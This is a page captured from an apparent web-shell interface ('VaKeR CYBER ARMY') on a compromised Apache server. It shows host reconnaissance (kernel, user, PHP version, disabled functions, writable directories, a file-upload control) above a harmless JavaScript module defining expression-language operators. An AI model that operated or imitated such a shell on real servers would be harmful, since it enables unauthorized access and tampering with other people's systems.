VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-full/dist/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-full/dist/js/mdls__absol__src__SCLang__SCOperators.js
/*** module: node_modules/absol/src/SCLang/SCOperators.js ***/
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.ADD = ADD;
exports.SUB = SUB;
exports.MUL = MUL;
exports.DIV = DIV;
exports.MOD = MOD;
exports.NEGATIVE = NEGATIVE;
exports.POSITIVE = POSITIVE;
exports.NOT = NOT;
exports.LESS_THAN = LESS_THAN;
exports.MORE_THAN = MORE_THAN;
exports.EQUAL = EQUAL;
exports.EXTRACT_EQUAL = EXTRACT_EQUAL;
exports.LESS_AND_EQUAL = LESS_AND_EQUAL;
exports.MORE_AND_EQUAL = MORE_AND_EQUAL;
exports.NOT_EQUAL = NOT_EQUAL;
exports.AND = AND;
exports.OR = OR;

var _datetime = require("../Time/datetime");

var _SCOperatorExecutor = _interopRequireDefault(require("./SCOperatorExecutor"));


function ADD(a, b) {
  var type_a = typeof a;
  var type_b = typeof b;

  if (type_a === "number") {
    if (type_b === "number" || type_b === 'string') return a + b;
  }

  if (type_a === "undefined" && type_b === "undefined") return undefined;

  if (type_a === 'string') {
    if (type_b === "string") return a + b;
    if (b instanceof Date) return a + (0, _datetime.formatDateTime)(b, 'dd/MM/yyyy');
    if (type_b === "number") return a + b;
  }

  if (a instanceof Date) {
    if (type_b === 'number') {
      return new Date(a.getTime() + _datetime.MILLIS_PER_DAY * b);
    } else if (type_b === 'string') {
      return (0, _datetime.formatDateTime)(a, 'dd/MM/yyyy') + b;
    }
  }

  if (a.add && a.constructor === b.constructor) return a.add(b);
  console.error("Can not add: ", a, b);
  return NaN;
}

_SCOperatorExecutor.default.addBinaryOperator('+', ADD);

function SUB(a, b) {
  var type_a = typeof a;
  var type_b = typeof b;

  if (type_a === "number" && type_b === "number") {
    return a - b;
  }

  if (type_a === "undefined" && type_b === "undefined") return undefined;

  if (a instanceof Date) {
    if (type_b === 'number') {
      return new Date(a.getTime() - _datetime.MILLIS_PER_DAY * b);
    }
  }

  if (a.sub && a.constructor === b.constructor) return a.sub(b);
  console.error("Can not sub: ", a, b);
  return NaN;
}

_SCOperatorExecutor.default.addBinaryOperator('-', SUB);

function MUL(a, b) {
  var type_a = typeof a;
  var type_b = typeof b;

  if (type_a === "number" && type_b === "number") {
    return a * b;
  }

  if (type_a === "undefined" && type_b === "undefined") return undefined;

  if (type_a === "string" && type_b === "number") {
    return a.repeat(b);
  }

  console.error("Can not mul: ", a, b);
  return NaN;
}

_SCOperatorExecutor.default.addBinaryOperator('*', MUL);

function DIV(a, b) {
  var type_a = typeof a;
  var type_b = typeof b;

  if (type_a === "number" && type_b === "number") {
    return a / b;
  }

  if (type_a === "undefined" && type_b === "undefined") return undefined;
  console.error("Can not div: ", a, b);
  return NaN;
}

_SCOperatorExecutor.default.addBinaryOperator('/', DIV);

function MOD(x, m) {
  return x % m;
}

_SCOperatorExecutor.default.addBinaryOperator('%', MOD);

function NEGATIVE(x) {
  return -x;
}

_SCOperatorExecutor.default.addUnaryOperator('-', NEGATIVE);

function POSITIVE(x) {
  return x;
}

_SCOperatorExecutor.default.addUnaryOperator('+', POSITIVE);

function NOT(x) {
  return !x;
}

_SCOperatorExecutor.default.addUnaryOperator('!', NOT);

function LESS_THAN(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a < b;
}

_SCOperatorExecutor.default.addBinaryOperator('<', LESS_THAN);

function MORE_THAN(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a > b;
}

_SCOperatorExecutor.default.addBinaryOperator('>', MORE_THAN);

function EQUAL(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a == b;
}

_SCOperatorExecutor.default.addBinaryOperator('==', EQUAL);

function EXTRACT_EQUAL(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a === b;
}

_SCOperatorExecutor.default.addBinaryOperator('===', EXTRACT_EQUAL);

function LESS_AND_EQUAL(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a <= b;
}

_SCOperatorExecutor.default.addBinaryOperator('<=', LESS_AND_EQUAL);

function MORE_AND_EQUAL(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a >= b;
}

_SCOperatorExecutor.default.addBinaryOperator('>=', MORE_AND_EQUAL);

function NOT_EQUAL(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a != b;
}

_SCOperatorExecutor.default.addBinaryOperator('!=', NOT_EQUAL);

function AND(a, b) {
  return a && b;
}

_SCOperatorExecutor.default.addBinaryOperator('&&', AND);

function OR(a, b) {
  return a || b;
}

_SCOperatorExecutor.default.addBinaryOperator('||', OR);

VaKeR 2022